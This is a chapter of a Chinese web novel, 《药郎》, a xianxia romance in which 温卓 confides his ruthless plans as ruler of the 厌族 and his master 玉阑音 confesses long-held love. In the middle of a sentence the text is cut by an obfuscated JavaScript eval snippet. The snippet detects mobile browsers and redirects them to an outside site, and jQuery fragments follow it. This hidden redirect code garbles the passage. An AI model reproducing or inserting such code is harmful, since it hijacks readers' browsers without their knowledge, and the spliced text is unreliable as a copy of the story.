85.私心
作品:《药郎》 “想什么呢?”
玉阑音笑眯眯地看着出神的温卓,清了清嗓子,问道。
玉阑音不说,温卓自然是不好意思提起自己手起刀落、尸横遍野的登基之路。
他猛地回过神,这才有意识地松开了自己不自觉紧皱的眉头。摇了摇头。
“我知道,你心里有数。”
玉阑音慢慢地直起身子,尽管被身下的疼痛惊得略微一吸气,但他仍旧是身残志坚地在温卓额角落下一个年长者似的温和的吻,“你做什么我都支持你,都喜欢你。放手去做吧。”
话音将落,温卓眼眸倏地一暗。
这转瞬即逝的暗光落在玉阑音眼中,心道一声不好。
“那我先做点别的,师尊让不让?”
温卓身上的薄汗未消,轻轻地翻身上去,贴上玉阑音消瘦瓷白的胸口,“让不让?”
明明是征求的话,但温卓话里话外却没有一丝询问的口吻。
深夜中,他漆黑的瞳孔仿佛蛰伏在丛林深处的猎豹,无比耐心却又波涛汹涌。
玉阑音此时很想一巴掌把他扇飞出去。
但是到底是自己的宝贝,他只好耐着性子道:“滚。”
身上的温卓似乎是愣怔一瞬。
随后玉阑音感觉到这人轻轻将头抵在了他的颈窝,闷闷地笑起来。
玉阑音皮肤薄,身上敏感。脖颈处痒痒的,他烦躁地推了两下,推不动。
他无言地闭了闭眼,“滚开。”
阿弥陀佛,苍天无眼。
这一晚上说的“滚”,真的是比他这辈子上上下下加起来说的都要多,多么失礼!
不过一整个晚上都装聋作哑不听话的温卓此时总算是疏通了耳朵眼。
他吻了吻玉阑音的眼睛,翻身,将他搂在了自己怀里,笑道:“快睡吧,不闹你了。”
玉阑音没有抗拒他的拥抱,在他的怀中轻轻阖上了眼。
他的呼吸声很规律,温卓聚精会神地听了一会儿,想:哦,睡着了。
忽然,那睡着的人在寂静的夜色中幽幽地开了口,“一一。”
险些把温卓吓得一激灵。
“怎么了?”
温卓拍了拍他的头,笑问,“冷不丁的。”
“没沐浴。”
黑咕隆咚里,玉阑音幽怨的抱怨轻轻响起,“不舒服,粘,馊。”
温卓一边亲他一边笑。
真是太可爱了。
他的声音中满是未消的笑意,“好好好,去沐浴。”
玉阑音本就昏昏欲睡,此时躺在沐浴的木桶里更是困得晕头转向,直磕头。
温卓任劳任怨地替他清洗身上,目光在扫过他身上大大小小红的紫的吻痕时,很不自在也很不好意思地地摸了摸鼻子。
“一一,是不是还有……一个月,你就百岁了?”
玉阑音忽然睁开了眼。
他的声音有些沙哑,眼睛眨得也慢慢的,面上是藏不住的倦怠。
温卓不知道为什么他会忽然提起这个。
但他只是略微一怔忪,“嗯,整一个月。”
玉阑音重新阖上眸子,头轻轻靠在桶边缘,说话有些含混。
“那你的赐意宴……我这作师尊的可得好好准备准备……”
温卓听得心里发烫,他没忍住俯下身亲了亲玉阑音的唇角。
“师尊,我的法号你想好了吗?”
玉阑音如今真是一听这完蛋孩子叫他师尊就发怵。
他懒洋洋地推了一把温卓,冷哼一声,“想好了也不能告诉你。”
之后两人大概还有一句没一句地聊了些什么。
但是玉阑音记不清了。
他的身体本就不算康健,如今受了累熬了夜,强撑着同温卓扯皮了半个晚上已经是奇迹。
等到他终于从一片混沌中恢复清醒睁开眼时,已经是第二天午时。
“醒了?”
温卓的眼睛简直是一天十二个时辰都粘在玉阑音身上,此时玉阑音不过是呼吸的频率略有变化,坐在一旁桌几旁的温卓已经直勾勾地盯了过来。
玉阑音头晕脑胀得厉害,身上某些部位隐隐作痛的感觉也不好受。
他的声音干哑得厉害,“嗯。”
好在温卓很有眼力见地递过来一盏清茶。
玉阑音睨他一眼,抿一口茶,道:“无事献殷勤,非奸即盗。”
温卓满脸无奈地拍了拍玉阑音的额头,“无端揣测人是非。”
“确实是有事,但算不上是急事,”温卓道,“克古鲁方才同我传话,前些日子山桂联系他回札布萨一聚,还特地嘱咐,最好是叫上我,也叫上你。”
玉阑音一顿。
“如今正值夏日,札布萨不值酷寒日,又想到你也有年头没回去,我便应下了。”
温卓道,“你若是不舒服,不想去,便不去了。”
玉阑音眯了眯眼,看向窗外,他的声音忽然有些飘远,“没有不想。”
手指若有若无地摩挲着茶碗边缘,“只是……好久没回,居然还有人能念着我,我们。”
或许是察觉到了什么,他忽然回神了一般笑了笑,“不好意思,我是不是太不合时宜了?”
每当谈论起这种话题,玉阑音总会露出像此时一样的古怪又疏离的神情。
尽管这种迹象已经有所好转,但不知是不是因为前段时间元宿央的意外,玉阑音的症状又隐隐有了愈演愈烈的趋势。
“玉阑音。”
温卓忽然十分郑重地叫了玉阑音一声。
话里那人神色如常,只是有些倦意地抬了抬眼眸,“嗯?”
“你的爹娘,你的兄长都不是好东西,他们是我杀的。我不想你做云州上仙,你没听,可是我也没能保护好你。”从梦境中出来后,温卓其实很少提起这件事。
他此时的声音称得上冷酷无情,“阑音,你什么都没做错。你是我救的——如果你允许我这么说的话——也是我害的。你要恨就恨我。”
玉阑音望向温卓深沉的眼眸,但是不知是不是温卓的错觉,他总觉得玉阑音有些心不在焉。
不过当下也没有时间骂他不专心了。
温卓一顿,又道:“你可以觉得自己做得不够好,但是你不能觉得自己一无是处——我知道这话你听腻了,但是我还是要说。”
玉阑音依旧是那副兴致缺缺的走神模样。
他忽然道:“温卓,此时,站在厌族尊主的角度上,你后续是作何打算?”
温卓也预料不到这话题为何转变得如此突兀。
但他只是一怔忪,道“假意迎合,瓮中捉鳖。”
玉阑音笑着拧他一眼,“照本宣科。说人话。”
他的眼眸含着意思笑意,像一弯不见底深湖,深不见底但是澄澈无比,不悲不喜,若暴露其中太久便要打寒颤。
在如此的注视下,一切人一切的秘而不宣都无处遁形
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811821|146057||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他好像……真的什么都知道。
温卓一开始还逞强地直勾勾同他对视,但这也不过只是片刻。
他很快躲闪了目光,抿了抿唇,说话也吞吞吐吐起来,“我需要获得厌族的信任。”
“嗯。”玉阑音不咸不淡地应和一声。
温卓略一蹙眉,须弥之地翻手为云覆手为雨的厌族尊主此刻老实得像只小鸡仔。
他色厉内荏地同玉阑音对视,说出来的话却细弱蚊蝇,“我需要……信任。”
“南华宗地处西南,东南角,是个名不见经传的小宗门,宗门上下加起来不过几百人。”
玉阑音道,“前些天有风声传来,南华宗遭了夜袭,整个宗门一夜之间不翼而飞——连根鸟毛都没剩下。果然是你授意的。”
温卓一身气焰也连个毛都没剩下。
他打着蔫道:“阑音……”
玉阑音不由地有些好笑,“这副模样做什么?我又没怪你。”
他好整以暇地喝了口茶,“昨晚上的话仍然作数。如今你和师尊我也是一条船上的蚂蚱,你放开手脚去做,出了事我给你兜着。这下能放心了?”
温卓一双眼睛紧紧地盯着玉阑音,“阑音,你……不怪我?”
“怪你什么?”
玉阑音笑道,“你莫不是真觉得我是达奚恩山所说‘心怀天下,兼济苍生’之人?”
温卓一愣。
他的怔顿直直地落在了对面玉阑音眼中。
玉阑音挑眉一乐,“原来你真这么觉得啊。”
“只要是人就有见不得人的杂念私欲,我当然不能免俗。”
玉阑音笑道,“我其实可轴、可任性了。当时你和我说,别去做云州上仙,这话听着可太奇怪了,就好像……你已经提前知道我做了云州上仙的后果一样。”
说到这里,玉阑音忽然停顿,笑了一下,“所以我更要去做了。”
温卓隐隐有预感他接下来要说的话。
他不自觉地屏住了呼吸,沉默地盯着言笑晏晏的玉阑音。
玉阑音笑着凑过去,在温卓唇上落下一个吻。
“因为我担心,我若是真听了你的话不作云州上仙,那岂不是要见不到你了。”
“温卓,我担心我承受不起四方的敬爱有加,这并不是我妄自菲薄。”
玉阑音唇色略显寡淡,但他笑着,面上显现出一种不同以往的绚烂和愉悦,“是因为我自己知道,他们说的没错,我是真的配不上。”
“作了云州上仙这么多年,外人看我守天下守得兢兢业业,其实真假有几分只有我知道,我如此做,勉为其难地说起来,不过也就是出于那么一丁点的责任感吧。剥心为笼也好,生死由天也罢,我其实没有那么敏感,我一点也不觉得委屈。”
玉阑音道,“因为我只是为了来遇见你。”
说到这里,他恰到好处地手上一用力,按住了想要往他身上扑的温卓。
“温卓,你好像对我有点误解,误解到了有些惶恐,有些畏惧的地步了。可是你对我说了那么多喜欢,那么多爱,可是我明明那么喜欢你。所以一定是我的错,是我表达的太隐晦了,太少了。”
玉阑音道,“温卓,我比你能想的还要喜欢你,琼州的那个吻不是半推半就,那是我的情难自禁。”
你是我的所有原则以外。
这个摇摇晃晃的云州,便是我这场年少而起的浩荡暗恋,唯一的私心和聘礼。